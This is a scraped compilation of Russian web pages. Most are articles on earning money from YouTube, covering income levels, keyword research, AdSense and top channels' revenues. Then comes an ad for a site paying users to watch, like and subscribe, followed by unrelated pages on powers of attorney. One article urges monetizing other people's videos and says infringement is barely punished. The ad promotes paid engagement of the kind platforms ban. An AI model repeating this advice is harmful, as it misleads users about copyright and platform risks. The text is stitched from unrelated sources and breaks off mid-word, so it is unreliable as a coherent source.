Самые топовые видео, имеющие сотни миллионов просмотров приносят их владельцам сотни тысяч долларов. Обычно это профессионально снятое коммерческое видео. Но это не наш уровень.
Топовые видео блогеры зарабатывают десятки тысяч долларов в месяц. Нам до этого тоже пока далеко.Так что будем рассматривать обычные перспективы заработка обычного канала.
Классификация каналов по их доходности.
1. альтруисты. Ведут свои канал и выкладывают видео исключительно в качестве хобби. Можно провести параллель с социальными сетями (Вконтакте, Фейсбук). Людям просто это нравиться и соответственно не приносит никакого дохода.
2. минималисты. Заработок не главная их цель (см. п.1), но небольшую копеечку заработать не против. Средний доход 10-50$ в месяц.
3. Работяги. Стараются заработать как можно больше. Снимают видео, возможно даже выкладывают в свой канал чужое. Но массовой популярности нет. Средний доход 100 — 300$.
4. Середнячки. Делают тоже самое что и люди из 3-й группы, но более успешно. У них более интересные (и популярные) ролики, много подписчиков. Всерьез занимаются продвижение своего канала. Как итог — уровень дохода, уже на порядок выше — около 500 — 1000$ и даже выше.
5. Известные видеоблоггеры. Занимаются продвижение канала более профессионально, регулярно выкладывают новые интересные видео. Количество подписчиков начинается от суммы с пятью нулями и постоянно растет. Растет также и их доход. Доход начинается от нескольких тысяч долларов.
6. Элита. Многомиллионные просмотры и известность в своей стране (или даже во всем мире). Даже простенькие видео за счет имени набирают громадную популярность. Добавьте к этому рекламные контракты и приглашения на различные шоу. Деньги текут в их карман рекой, поток начинается от 50 тысяч долларов в месяц.
Конечно на 2 последние ступени популярности (и соответственно уровня доходов) выйти очень сложно (но все-таки возможно). Но будем смотреть правде в глаза, все это потребует от вас значительной отдачи как времени, так и средств.
Ваша цель: перейти от первого уровня (или даже нулевого, если у вас еще нет канала) до 3-4.
Выйти на доход в 50-100 долларов в месяц вполне по силам всем. Ничего сложного в этом нет. Для достижения этого уровня вам потребуется месяца 2-3.
Чтобы оценить сколько может приносить прибыли ваш канал, нужно понять
Все эти действия в совокупности и определяют ваш заработок.
Для тех, кто хочет услышать более конкретные цифры, есть упрощенная формула оценить ваш доход в YouTube.
За каждые 1000 просмотров вы зарабатываете 1 доллар.
Т.е. за 50 000 просмотров вы получите 50$, за 200 000 — 200$ и т.д.
В среднем погрешность этой формулы составляет плюс-минус 20%. Но тем не менее приблизительный доход она показывает.
Так все же,
Если взять обычного человека, создавшего канал и не обладающего никакими специальными навыками в области создания спецэффектов, монтажа озвучки и т.п. минимальный уровень дохода около 80 — 100 долларов и выше. Можете попробовать зарабатывать на чужих видео. Конечно, это не совсем законно с точки зрения авторского права, но так делают все, и причем не один год. И никого не наказали. В крайнем случае у вас заблокирую канал на полгода — это максимум наказания.
Допустим вы разместили 30 видео роликов, в среднем каждый из них просматривает 30 человек в день (не так уж и много, на самом деле). Получаем 30 роликов х 30 просмотров х 30 дней в месяце = 27 000 просмотров в месяц.
Приблизительно это 30 долларов. Вроде бы немного. Но……за год это уже 360 долларов. За один раз проделанную работу. А если просмотров будет в 10 раз больше, или видео вы выложите не 30, а 100. Ваш доход сразу возрастет многократно (минимум в 5-10 раз). А это уже совсем другие цифры.
Чтобы зарабатывать в месяц 100 долларов достаточно собрать 100 000 просмотров в совокупности на все ваши ролики. Если вы активно общаетесь в социальных сетях для вас вообще это будет пару пустяков. Лайкните свои видео, а дальше начнется цепная реакция, часть ваших друзей посмотрит (часть из них также лайкнет), потом друзья друзей и так далее. Да одно интересное видео может собрать столько просмотров, не говоря уже о нескольких десятках.
vse-dengy.ru
Вы заинтересованы в создании дополнительного дохода? Разбогатеть с YouTube вам вряд ли удастся, но на нем можно заработать дополнительные $ 50 – $ 100 в месяц. Вот как я это делаю!
Содержание:
Немного статистики
Эффективность объявлений, в чем же дело?
Анализ ключевых слов в YouTube
Анализ ключевых слов в YouTube, второй метод
Какое видео загружать?
Хотите заработать немного денег в интернете? Почему бы не попробовать заработать на YouTube? Чтобы заработать деньги на YouTube вам не обязательно создавать “вирусные” видео, но если вам все-таки улыбнется удача и ваше видео станет популярным, вы заработаете приличное количество денег.
Это все благодаря компаниям, которые платят за рекламу на YouTube (который принадлежит Google, для тех из вас, кто не знал).
В этой статье, я собираюсь дать вам идеи для создания видео, на которых вы можете заработать вполне реальные деньги на YouTube, а также дать вам несколько советов относительно создания вашего видео.
Я не обещаю вам золотых гор и воплощения всех ваших мечт – но если вы ищете реальный способ заработать деньги в интернете, это может быть та статья, которую вы так долго искали!
Во-первых, давайте посмотрим на статистику нескольких моих видео. Я хочу показать вам, что я пока не зарабатываю кучу денег.
Но не стоит делать поспешные выводы из этих цифр, потому что есть ряд факторов, которые нужно принимать во внимание. Я рассмотрю эти факторы в следующем разделе. Вот статистика:
Как вы можете видеть на картинках выше, не существует такой зависимости, где Х количества трафика, гарантированно принесет вам Х количество денег. К сожалению это так не работает. Что доказать вам это, вот статистика моего видео, у которого просто ужасный доход от рекламы:
Маловато, не так ли? Я хочу дать вам почувствовать, как широко может варьироваться эффективность видео, но потенциал, безусловно есть.
Я создал калькулятор, который приблизительно покажет ваш доход, в зависимости от нескольких факторов.
Далее я хочу рассказать вам, почему эффективность так изменяется и что можно сделать, чтобы ее увеличить и начать зарабатывать деньги на YouTube.
Цифры статистики показывают, что количество просмотров само по себе, не является хорошим показателем того, сколько вы можете заработать.
Иными словами, 1000 посетителей автоматически не приравнивается к $ 1.00 . Причина в типах объявлений, которые показываются на вашем видео.
Например, предположим, что вы разместили видео о том, как печь печенье. Скорее всего, название вашего видео будет “как печь печенье”.
Тогда, в описании под видео, возможно, вы напишите рецепт и продукты, которые вы приобрели, чтобы сделать печенье. Можно добавить к видео теги, которые имеют отношение к выпечке, печенья-рецепты, бытовая техника и т.д
Теперь, когда кто-то смотрит ваше видео, скорее всего, он увидит объявления, связанные именно с тем, о чем вы написали в описании, заголовке и тегах: печенье, выпечка, кухонная техника и т.д.
Это существенно повысит шансы на то, что кто-то (надеюсь многие) будут нажимать на рекламные объявления вашего видео. Теперь, я собираюсь рассказать вам немного о своей теории, как повысить эффективность видео.
Всем известно, что YouTube понимает, о чем ваше видео из названия, описания, тегов, категории. Однако, я думаю, что Google использует больше факторов для определения тематики видео и показа релевантных объявлений, а именно – транскрипцию из видео (если ее можно получить из видео), место нахождения лица, которое смотрит видео, и cookies, которые есть на компьютере зрителя.
Цель Google заработать деньги и если они не будут показывать наиболее релевантные объявления для каждого отдельного человека, который смотрит видео на YouTube, то они увеличат свои шансы (и, таким образом, ваши шансы) заработать денег.
Так что я думаю, что Google смотрит не только на данные, которые пользователь сам добавил к видео, но так же использует все доступные ему технологии. Но вы в свою очередь тоже должны сделать все возможное, чтобы точно описать для Google содержание вашего видео.
Теперь мы можем перейти к следующему разделу: исследование ключевых слов. Хотя оно не является необходимостью, исследование ключевых слов может значительно увеличить шансы вашего видео быть найденным через поиск YouTube.
Прежде чем углубляться в этот раздел, позвольте мне сказать, что исследование ключевых слов, не дает никаких гарантий получения трафика, денег, просмотров, или чего-то еще.
Лично я считаю, исследования ключевых слов в первую очередь отлично подходит для поиска идей для ваших будущих видео. Я хочу показать вам, как лучше проверить идеи, которые вы придумали во время своего исследования.
Во-первых, давайте начнем с инструмента подсказки ключевых слов YouTube.
Есть два основных способа поиска ключевых слов с помощью этого инструмента: поиск по нужным словам, а также поиск по видео.
Все очень просто, скажем, вы вводите в поле поиска “выпечка печенья”, затем инструмент вернет вам ключевые слова, связанные со словосочетанием “выпечка печенья”, а также, сколько раз искали это словосочетание в месяц (это не точное число).
Второй способ позволяет ввести URL видео YouTube, которые вы хотели бы использовать, чтобы получить подсказки ключевых слов. Это отличный способ, найти ключевые слова, связанные с видео.
Как вы можете видеть на картинке для запроса “выпечка печенья” недостаточно данных, но это не обязательно означает, что никто не ищет “выпечка печенья”.
Это на самом деле прекрасный пример того, чтобы перейти к следующему этапу исследования ключевых слов, но прежде, я хотел чтобы вы посмотрели на окошко “Тип соответствия” с права на изображении выше.
Когда вы будете делать свое исследование ключевых слов, просматривайте результаты с “фразовым” или “точным” соответствием.
Если вы будете просматривать результаты по “широкому” соответствию, то вы увидите числа, на которые не стоит ориентироваться для подсчета будущего трафика.
Выше на странице мы видим, что в подсказках YouTube словосочетание “выпечка печенья” не выдает полезных данных о количестве запросов в месяц (то есть, примерно среднее число людей, которые ищут в YouTube по этому запросу в месяц).
Однако, это не означает, что вы должны отказаться от идеи сделать видео, показывающее, как вы печете вкусное печенье по рецепту вашей бабушки!
Введите ваше ключевое слово в поиск YouTube:
Как вы можете видеть, на странице результатов поиска есть рекламные объявления, что является хорошим знаком, поскольку это значит, что есть много рекламодателей, которые платят, чтобы показывать объявления по ключевым словам, которые я использовал для поиска.
А для тех из вас, кто не знает, как устроен мир объявлений, в основном, чем больше объявлений вы видите, тем больше конкуренция. Это означает, что компании, у которых объявления показываются выше других объявлений, платят больше, чтобы их объявление показывалось в первую очередь.
Итак, если у вас есть видео на YouTube с объявлениями от одного из этих рекламодателей и если зритель щёлкнет по такому объявлению, то вы получите хороший доход.
Теперь давайте посмотрим на количество загруженного видео по данному запросу (сразу под окном поиска) – это ваши конкуренты.
Затем, посмотрите на все видео, которые появляются на первой странице результатов поиска. Сколько у них просмотров? Как давно они загружены (1 месяц, 6 месяцев, 1 год, или более)?
Ваше ключевое слово отображается в названиях или описаниях? На все эти вещи, нужно обратить внимание… Они помогут вам понять ситуацию и принять решение, стоит ли делать видео на данную тему.
Теперь, последний шаг, поиск в кавычках.
Этот снимок экрана показывает результаты поиска, которые я получил по запросу “выпечка печенья” в кавычках. Как вы можете видеть, общее количество видео резко сократилось, однако рекламные объявлениях остались такие же! Это хорошо, и это значит, что “выпечка печенья”точная фраза, за которую рекламодатели готовы платить.Итак, будет ли словосочетание “выпечка печенья” достаточно хорошим для создания видео и заработка на нем? Это решать вам!
Может быть, благодаря исследованию, вы узнали, что ключевая фраза “выпечка печенья” вам не подходит! Может быть, вы захотите использовать фразу “как испечь печенье” или похожую.
Вам может показаться, что такое исследование занимает много времени, но на самом деле, все это делается ОЧЕНЬ быстро.
В первой части я показал вам некоторые статистические данные нескольких моих видео. Далее я дал вам обзор способов исследования ключевых слов на YouTube.
Но прежде, чем вы начнете этим заниматься, вам придется потратить время на размышления о видах видео, которые вы будете создавать и загружать! Вот несколько идей, чтобы ваше мышление заработало в правильном направлении:
-Обучающие видео в области, где вы считаете себя мастером или увлечены этим (гитара, домашний ремонт, выпечка и т.д.)
-Видео-обзор на интересующую вас тему (музыка, фильмы, игры, гаджеты и т.д.)
-Видео геймплея ваших любимых игр (это мое любимое)
– Персональное-видео (комедия, интеллектуальное, политическое?)
Получайте от процесса удовольствие: если у вас есть серьезные амбиции, сделать заработок на YouTube своим основным источником дохода, убедитесь, что вы понимаете, что нет никаких гарантий по получению просмотров или дохода.
Вы собираетесь тратить время на создание видео, его редактирование, загрузку (в том числе написание названия, описания и т.д.,). Таким образом, постарайтесь получать от процесса удовольствие.
Никто не нажимает на объявления, верно?: Нет. Многие думают, что никто не нажимает на объявления в видеороликах.
Итак, если у вас такой менталитет, то сделайте себе одолжение и перестаньте проецировать его на всех. Это может показаться удивительным, но достаточно большое количество людей нажимают на объявления!
Но даже если никто не будет нажимать на объявления, вы все равно можете зарабатывать деньги, просто показывая свою рекламу в своем видео. Конечно доход от простого показа объявлений очень маленький, но это пассивный доход.
Не кликайте на свои объявления: не нажимайте на объявления, которые показываются на ваших собственных видео.
Это называется кликфрод и за это вы можете получить полную блокировку вашего Adsense аккаунта. Все ваши заработанные деньги будут заблокированы, и вы их никогда не получите.
Не монетизируйте чужое видео: Технически, вы не должны даже загружать видео, которые принадлежат кому-то другому.
И вам не стоит делать этого, потому что, прежде чем вы можете превратить видео в деньги на YouTube, вы должны пройти через этап проверки, на котором YouTube убедится, что ваше видео не представляет опасности для их рекламодателей.
Если вы загрузите видео нарушающее правила, ваш AdSense аккаунт будет закрыт быстрее, чем вы можете досчитать до десяти. Более подробно о правилах партнерской программы YouTube вы можете прочитать на этой странице.
Исследования, исследования, исследования: В дополнение к тому, что я уже упоминал в этой статье, есть еще несколько способов исследований.
Например, многие видео имеют открытую статистику, показывающую какие сайты посылают на них трафик! Кроме того, просматривайте комментарии и ищите вопросы, которые люди задают об интересующих их вещах.
Это отличный способ, собрать полезную для себя информацию.
Вносите поправки по мере необходимости: когда на вашем видео начнет показываться реклама, постоянно следите за тем что в ней показывается.
Если реклама не релевантна вашему видео, то, возможно, вам следует внести изменения в название, описание и / или ключевые слова.
Нет ничего плохого в таком тестировании и изменениях по мере необходимости.
О процессе подачи заявки на участие в партнерской программе YouTube вы можете прочитать в этой статье Как стать партнером Youtube
Много полезной информации и уроков для авторов желающих зарабатывать напрямую через YouTube Академия для авторов
Желаю вам удачи во всех ваших начинаниях!
zarabotaydengi.com
03.12.2019
(Оценок: 43, Среднее: 4.6 из 5)
Admin
Популярность видеохостингов растет с каждым днем, и людей интересует вопрос, как заработать на Ютуб канале.
Данный ресурс является самым посещаемым на планете, каждый день на нем публикуется масса клипов, роликов. Всем известно, они приносят авторам определенную прибыль.
Читателю возможно будет так же интересно узнать, как зарабатывают у нас на сервисе https://earningcash.org/.
Для получения денег здесь выполняют простые действия, в том числе просматривают ролики, проходят уровни игр, проставляют лайки, подписываются на группы, паблики.
Скачайте на смартфон приложение, чтобы зарабатывать, регистрируйтесь и копите средства на личном счете. Все, что вы делали в интернете бесплатно, теперь будете выполнять за гонорар до 200 долларов в месяц!
Никаких вложений, все прозрачно и доступно школьнику. Выплата средств производится на карту, электронный кошелек или номер телефона.
Получать доход от стороннего блога удается только истинным «профи». Проще завести собственный и заняться раскруткой. Необходимо зарегистрироваться в видеохостинге и согласиться на создание «творческой студии». Данный процесс понятен, доступен даже детям, не требует знаний.
Получают деньги, разрешая показ рекламы. Многие из нас просматривали видео, встречались с явлением, когда перед показом или в середине появлялись баннеры, всплывали сообщения, вставлялись презентационные ролики. На протяжении всего контента они появляются несколько раз.
Например, фирма выпускает напитки, нуждается в продвижении своего товара, привлечении покупателей. Верный способ стать узнаваемой в конкретной стране – заказать рекламу в компании Google.
Что это за компания, объяснять не приходится. Она владеет самым крупным поисковиком в веб-сети, также ей принадлежит видеохостинг Ютуб. Известный IT-магнат знает, как зарабатывать деньги на Ютубе, ведь он получает за него миллиарды долларов год.
Но вот проблема: нужно показывать рекламу, где она буд
earningcash.org
Согласно официальной статистике, посещаемость YouTube в 2018 году составляла более 1,8 млрд посетителей в месяц. Этим активно пользуются видеоблоггеры – люди, имеющие свой канал (а иногда и несколько), на котором зарабатывают деньги.
В этой статье мы рассмотрим, как стать блогером и как заработать на Ютубе, что для этого необходимо, а также изучим некоторые нюансы создания и продвижения собственного YouTube-канала с нуля.
Чтобы понять, как можно заработать на Ютубе, нужно выяснить принцип функционирования этого видеохостинга.
Итак, чтобы из обычного пользователя стать видеоблогером, нужно сделать следующее.
Рекомендуем ознакомиться с «Условиями пользования YouTube», так как за нарушение правил, которые, кстати, довольно часто меняются, следует блокировка аккаунта.
Однозначного ответа, что снимать на видео и как выбрать направленность канала, чтобы раскрутиться и заработать на Ютубе, нет.
Опытные ютуберы говорят: если делать канал о том, что не нравится или относиться к нему как к вынужденной работе, рано или поздно это занятие надоест. Вывод однозначный: надо заниматься любимым делом и снимать об этом видео. В таком случае дополнительный доход будет приятным бонусом к хобби. Рассмотрим несколько вариантов.
Как заработать на Ютубе с нуля? Вполне достаточно начать с любительской съемки на смартфон со средней камерой. Если запись ролика проходит на улице, помните, что ветер способен сыграть злую шутку: слов может быть совсем не слышно. Также многие люди не всегда адекватно реагируют на то, что их снимают. Если вы решили стать «уличным» блогером, будьте готовы к неожиданным, а иногда и неприятным, ситуациям.
Если вы поймете, что видеоблогинг – ваше призвание, стоит обзавестись хорошей камерой и штативом для статичной съемки – ролики, снятые в хорошем качестве, вызывают больше доверия.
Для добавления на видеохостинг доступно несколько форматов видео, среди которых .avi и .mpeg. Во время заливки файла происходит автоматическая конвертация в формат .mp4.
Прежде чем рассматривать вопрос «Как заработать на Ютубе, выкладывая видео?», нужно выяснить, что влияет на величину заработка. Можно выделить восемь основных факторов.
Только комплексный подход и учет всех приведенных факторов, влияющих на размер заработка на Ютубе, дадут максимальный эффект.
Известность и число подписчиков влияют на количество просмотров и, соответственно, на заработок. Как сделать так, чтобы видеоканал стал известным и привлек внимание целевой аудитории?
Чтобы без вложений повысить узнаваемость канала и привлечь новых подписчиков, можно использовать следующие методы.
Начинающим с нуля видеоблогерам будет полезно проводить совместные стримы или приглашать на съемку нового видео известных на YouTube людей. Это поможет привлечь на канал новых подписчиков.
Кроме бесплатных приемов, можно использовать платные техники продвижения. Рассмотрим четыре основных способа, с помощью которых можно раскрутиться при относительно небольших вложениях.
Чтобы усилия автора по раскрутке канала были потрачены не зря, нужно чтобы на нем было интересно и посетители не хотели закрыть его сразу после перехода. Для этого нужно следить за следующими моментами.
На одном канале лучше придерживаться единой манеры обращения к зрителям и не уходить от темы. Если у вас есть другие идеи, стоит задуматься о запуске дополнительных каналов.
Теперь рассмотрим основную цель создания и продвижения собственного видеоканала – его монетизацию.
Первый и наиболее простой вариант получить реальные деньги – получать плату за просмотр на Ютубе своих видео. Здесь стоит понимать, что точных данных ни Google, ни YouTube не предоставляет: размер вознаграждения носит динамический характер и зависит многих факторов. В среднем же можно обозначить размер оплаты за 1 тыс. просмотров видео исходя из тематики контента:
При этом в целом англоязычное видео оплачивается по максимальной ставке.
Этот метод рассматривался в разделе платных способов раскрутки своего канала. Только сейчас вы выступаете в роли фрилансера, который за небольшую оплату будет просматривать и комментировать чужие ролики.
Использование чужих видео запрещено. В случае жалобы правообладателя за несоблюдение авторских прав последует блокировка или удаление канала, а в некоторых случаях возможно даже судебное разбирательство. Использование чужого видеоматериала разрешено только при обоюдном согласии, но в этом случае вы больше рекламируете чужой видеоконтент, чем зарабатываете на этом.
Наиболее действенные методы, позволяющие заработать деньги на Ютубе – использование рекламы.
Google AdSense – один из способов заработка на рекламе для любого сайта, в том числе и на видеохостинге. Многие знают, что перед началом видеоролика, а в некоторых случаях дополнительно во время просмотра, показываются рекламные ролики от YouTube. Если их подключить с учетом Google AdSense, то они будут показываться в соответствии с запросами пользователей.
Чтобы подключить канал к монетизации, нужно набрать более 10 тыс. просмотров (в сумме по всем видео), также видеоканал не должен нарушать правила YouTube. После подачи заявки и прохождения модерации при просмотре ваших видео пользователям будут показываться рекламные ролики, за показ которых вам начисляется небольшая плата. Если пользователь кликает по рекламе и переходит по закрепленной ссылке, размер оплаты увеличивается.
Этот способ монетизации подходит для уже раскрученных каналов с высокой посещаемостью, так как у молодых Ютуб-каналов просмотров пока мало, платить за рекламу с небольшим количеством показов никто не захочет. Суть способа состоит в упоминании в роликах определенного бренда, сайта, услуги или какого-либо продукта. Контракт заключается на обозначенное время или количество видео с упоминанием рекламируемого предмета. В некоторых случаях на канале размещается отдельное видео, посвященное товару, за рекламу которого заплатили.
Еще один вариант, как начать зарабатывать на Ютуб, – подключить партнерскую программу. Ее суть заключается в рекламировании на вашем канале сторонней продукции, услуг или товаров. От каждой сделки или продажи, произведенной после перехода из видеоблога, вам начисляется вознаграждение в размере 10-30% от суммы сделки. Партнерки бывают двух типов.
Если вы занимаетесь оказанием услуг или продаете какой-либо товар, канал – отличный способ рекламировать себя и продукт. Преимущество этого метода очевидно: вы расширяете круг потенциальных покупателей или клиентов, преподносите товар с его лучшей стороны. Кроме этого, при продаже вы получаете всю сумму, не платя комиссии.
Это, пожалуй, один из самых актуальных вопросов начинающих видеоблогеров. Однозначного ответа здесь нет – все сугубо индивидуально и зависит от множества факторов, которые мы рассмотрели ранее. В самом начале, на стадии запуска канала, сколько-нибудь ощутимого получения дохода не будет – с рекламы и за просмотры (если они есть) может выйти всего 5-20 долларов в месяц. Далее, если канал активно наполняется, правильно продвигается и пользуется популярностью, денежные поступления вырастут. Посмотрим, сколько примерно зарабатывают каналы, находящиеся в топе.
EeOneGuy – молодой парень, который ведет несколько видеоблогов. Его подписчиками являются 14 млн человек, а суммарный доход за все время существования каналов составил более $660 тысяч.
Официальный канал мультипликационного фильма «Маша и Медведь» насчитывает 19 млн подписчиков, а суммарный доход аккаунта от просмотра и рекламы – более $3,2 млн.
Вывод денег с YouTube становится возможным после привязки канала к сервису AdSense и включения монетизации. Чтобы получить доступ к сервису вывода денег нужно перейти в раздел «Творческая студия» > «Канал» > «Монетизация» > «Настройки AdSense». В открывшейся вкладке нужно найти кнопку «Настройки», далее – «Платежи», после нажатия на которую вас переправляют на страницу, где можно вывести деньги на банковский счет, который необходимо предварительно прикрепить в «Способах оплаты».
Минимальная сумма вывода – $100, при этом после осуществления первой транзакции последующие чеки выводятся автоматически при достижении данного лимита.
Мы подробно рассмотрели вопрос использования YouTube для заработка, основные нюансы создания и продвижения собственного канала в интернете. Занятие любимым делом – главный залог успеха, ведь деньги Ютуб-канал начнет приносить через определенное время. Поэтому вначале не стоит ожидать головокружительной популярности и бесперебойного денежного потока.
bolshedeneg.net
Здравствуйте, уважаемые читатели!
В этой статье мы детально рассмотрим ещё одну хорошую возможность для получения дохода в интернете. Сотни тысяч людей уже делают это. Пора и нам узнать о том, как заработать на ютубе. Обсудим все возможные варианты, включая заработок на ютубе с нуля для новичков. Нажимайте «Узнать больше», читайте и начинайте зарабатывать.
Интернет очень быстро проник в нашу повседневную жизнь. Современные веб-технологии дают много возможностей и для работы и для развлечения. Во всемирной сети сейчас можно найти всё, что душе угодно.
Ютуб уже несколько лет является одним из самых популярных интернет-сервисов. С каждым годом, аудитория этого сервиса растёт в геометрической прогрессии. Так что, на мой взгляд, нужно использовать имеющийся потенциал ютуба для извлечения дохода.
Начну с краткого описания самой системы. Итак, ютуб, а точнее YouTube (от англ. you — «ты» и tube — «телевизор») — это огромный видеохостинг. Другими словами, огромное хранилище видео. При этом, любой человек может просматривать видео, а любой пользователь может записывать или просто сохранять своё видео на ютубе.
Сервис очень прост и удобен в использовании. Добавить новый ролик не составит труда даже начинающим пользователям. Причём, люди могут не только загружать и просматривать, но также оценивать и комментировать видео.
Не удивительно, что уже более пяти лет, YouTube является популярнейшим видеохостингом и третьим сайтом в мире по количеству посетителей. Кстати, первые два — это Google и FaceBook. Причём, ютуб принадлежит Google.
В месяц, на сайт YouTube заходит более миллиарда посетителей. Кто-то смотрит забавные ролики, другие просматривают музыкальные клипы, третьи ищут видеоинструкции или обзоры. Чего там сейчас только нет.
На сайте ютуба можно найти даже полнометражные фильмы, не говоря уже о сериалах. При этом, сотрудники видеохостинга очень тщательно подходят к вопросам безопасности и не допускают ролики порнографического или экстремистского характера.
За счёт чего же зарабатывает сам видеохостинг? Ответ на этот вопрос очень прост. Грех не воспользоваться такой аудиторией для показа рекламы. И YouTube это и делает.
С одной стороны, в YouTube обращаются рекламодатели, которые готовы платить за показ своих объявлений. С другой стороны, пользователи, которые хотят получить доход, подают заявки на показ рекламных объявлений в своих роликах.
Таким образом, основной доход YouTube получает от рекламодателей. Причём, существенной частью от этого дохода, ютуб делится с теми пользователями, которые согласны показывать рекламу в своих видео. Оплата с ними производится за каждый показ рекламы.
Чем больше раз будет просмотрен ролик, чем интереснее он будет, тем больше будет показано реклам и тем больше заработает автор видео. Тут уже всё в руках пользователей. В наших руках.
Вопрос доходов это один из главных вопросов, который нас интересует. Верно? Проверив огромное количество материалов, я, думаю, что нашёл ответ на этот вопрос.
Самый коммерчески успешный канал в России — Miss Katy (интерактивно)
Люди, видео которых успешнее всего, не охотно делятся информацией о своих доходах. Возможно, не хотят привлекать лишнее внимание налоговых органов, а возможно — просто скромничают.
В конечном итоге, выяснилось вот что. Чем больше просмотров и «лайков» (отметок, что видео понравилось), тем большей долей доходов делится YouTube.
Даже начинающий пользователь сервиса, у которого всего одно видео, может начать зарабатывать. Как это сделать мы обсудим чуть ниже. А пока скажу, что доход новичка будет составлять от нескольких центов до одного доллара.
Если ютуб-канал пользователя становится популярным, то YouTube становится в полтора-два раза щедрее. По-сути, верхняя граница получения доходов не ограничена.
Место в рейтинге | Название ютуб-канала | Тематика | Доход от YouTube за год |
---|---|---|---|
1 | PewDiePie | Прохождение видеоигр с комментариями | $14 400 000 |
2 | HolaSoyGerman | Просто видео-дневник | $12 900 000 |
3 | Smosh | Комедийные видеоролики | $11 200 000 |
4 | RihannaVEVO | Видеоклипы певицы Рианны | $9 500 000 |
5 | KatyPerryVEVO | Видеоклипы певицы Кэти Пэрри | $4 800 000 |
Просмотры — это ключевой момент в заработке на видеохостинге. Чем популярнее Ваш канал, тем больше его коммерческий потенциал. Однако, есть и другие факторы, которые влияют на доход от YouTube.
Во-первых — это регион присутствия. Рекламодатели в разных странах готовы платить по-разному. Самые большие заработки у видео-авторов из США и Великобритании. В России-Украине от рекламы можно получить втрое-четверо меньше. В Белоруссии и Казахстане рекламодателей почти нет, а те, что есть, платят совсем не много.
Во-вторых, доходы существенно разнятся в зависимости от тематики канала. Ютуб использует технологии Google. А это очень продвинутые технологии. Система сама определяет тематику видео и старается вставлять рекламу, подходящую по смыслу.
Видео, на котором девушка рассказывает о секретах красоты, скорее всего будет сопровождаться рекламой косметики. На ролике с прохождением игры Вы, наверняка, увидите рекламу другой (а может даже и этой же) игры.
Примерная стоимость тысячи просмотров на ютубе по тематикам для России и Украины:
Забавно, что видеоигры — это одна из самых популярных ниш ютуба. Каналы геймеров быстро собирают большое число просмотров и подписчиков. Но, реклама этой тематики одна из самых низкооплачиваемых.
Итак, просмотры, расположение и тематика. От них зависит наш заработок на ютубе.
Но это ещё не всё. С развитием ютуб-канала, можно получать от YouTube всё большую долю доходов.
Изначально, видео-хостинг будет отдавать нам 55% от денег рекламодателя. Дальше, когда число показов достигнет 100 000 в месяц, можно вступить в партнёрскую сеть YouTube или одного из специализированных агентств. Тогда, мы сможем получать 70%.
Если число просмотров будет расти и дальше — то наша с Вами доля составит уже 80%, а в ряде случаев — и 90%.
Для получения доходов, прежде всего, нужно создать аккаунт на YouTube. Это очень просто, думаю, проблем ни у кого не должно возникнуть. А если у Вас уже есть аккаунт в Google, то регистрация, и вовсе, проходит в два клика. Просто нажмите «Войти» в правом верхнем углу видеохостинга.
Далее, добавляем хотя бы одно видео. И монетизацию Вашего ютуб-канала уже можно подключать.
Первым делом нужно включить монетизацию в настройках канала
Администрация YouTube рассмотрит заявку и одобрит её. Обычно, на это уходит несколько часов. После этого, доходы за рекламу уже будут начисляться Вам.
Видите. Это совсем не сложно. Тут главное развивать свой канал, делать интересные видео и набирать базу подписчиков.
Как только к видео-каналу начинает приходить популярность, можно задействовать дополнительный способ получения дохода. Для этого, нужно выбрать компании, которые могут быть связаны с темой ваших видео и предлагать им сотрудничество.
К примеру, автор канала о детях может договариваться с производителями игрушек или детской одежды. Такое сотрудничество было бы взаимовыгодно для всех.
Очень многие крупные брэнды готовы напрямую платить за видеообзоры своей продукции. Даже молодой видео-блогер может договориться о такой статье за $30-$50. Ну, а опытные и популярные авторы, заключают рекламные соглашения на несколько порядков дороже.
На первом этапе, договариваться с компаниями придётся самостоятельно. Однако, через какое то время, предложения уже начинают поступать от копаний.
Упорный труд всегда бывает вознаграждён. Поэтому, пробуйте, снимайте видео, выкладывайте их, и у Вас обязательно получится заработать на своём ютуб-канале. Начните свою YouTube-историю прямо сейчас.
Перейти на YouTube
Буду благодарен Вашим вопросам или Вашему мнению по теме в комментариях.
Желаю всем прибыльных инвестиций!
Если эта статья Вам понравилась — сделайте доброе дело
Поставьте «сердечко»
Поделитесь в соцсетях
kinvestor.ru
На странице представлен образец документа «Доверенность на представление интересов физического лица» с возможностью скачать его в формате doc.
Тип документа: ДоверенностьДля того, чтобы сохранить образец этого документа себе на компьютер перейдите по ссылке для скачивания.
Размер файла документа: 22,0 кб
Доверенность на представление интересов физического лица — это документ, который один гражданин передает другому для представления своих интересов перед третьими лицами. Данный документ обычно заполняется в произвольной форме.
Правила заполнения данного документа
Доверенность обычно заполняется доверителем от руки. Она может быть выписана как в одном экземпляре, так и в нескольких, но должна содержать такую информацию:
Действие данной доверенности не имеет сроков ограничений, только в случае если срок не оговорен в самом документе.
Доверенность в некоторых случаях заверяется нотариально. Так, например, доверенность у нотариуса заверяют лишь в том случае, когда она будет использована для передоверия полномочий третьему лицу. Во всех же остальных случаях доверенность на представление интересов физического лица не требует заверения у нотариуса.
Сохраните этот документ у себя в удобном формате. Это бесплатно.
Обратите внимание! Приведено лишь начало документа. Полную версию вы можете скачать по соответствующей ссылке.
Скачать в .docСохраните этот документ сейчас. Пригодится.
Вы нашли то что искали?
* Нажимая на одну из этих кнопок, Вы помогаете формировать рейтинг полезности документов. Спасибо Вам!
Смежные документы
Документы, которые также Вас могут заинтересовать:
dogovor-obrazets.ru
clubtk.ru
Доверенность представляет собой документ, на основании которого третье лицо получает полномочия на представление интересов. То есть, третье лицо сможет действовать от лица человека, давшего доверенность. Документ может оформляться как на одного человека, так и на группу лиц. Определение данного вида бумаги содержится в статье 185 ГК.
Доверенность отличается этими признаками:
Если документ не имеет перечисленных признаков (к примеру, соглашение не заключено в письменной форме), он не будет иметь юридической силы.
В статье 185.1 ГК указаны случаи, когда доверенность нужно заверять у нотариуса:
Существуют доверенности, которые приравнены к нотариальным. Соответственно, такие документы не нужно заверять у нотариуса. Виды подобных бумаг содержатся в части 2 статьи 185.1 ГК. В частности, заверять ничего не нужно, если документ выдается фирмой:
Если доверенность выдается от имени ЮЛ, заверять ее у нотариуса не нужно. Достаточно подписи руководителя или лиц, которые имеют право на проставление подписи согласно Уставу компании.
Основные разновидности документов, передающих полномочия:
Генеральная доверенность – это особый тип документа. Оформляться она может только на человека, на которого доверитель может полностью положиться. Нужно всегда учитывать риск того, что представитель может обмануть доверие. На основании генеральной доверенности человек получает исключительные полномочия. Следовательно, высок риск злоупотребления.
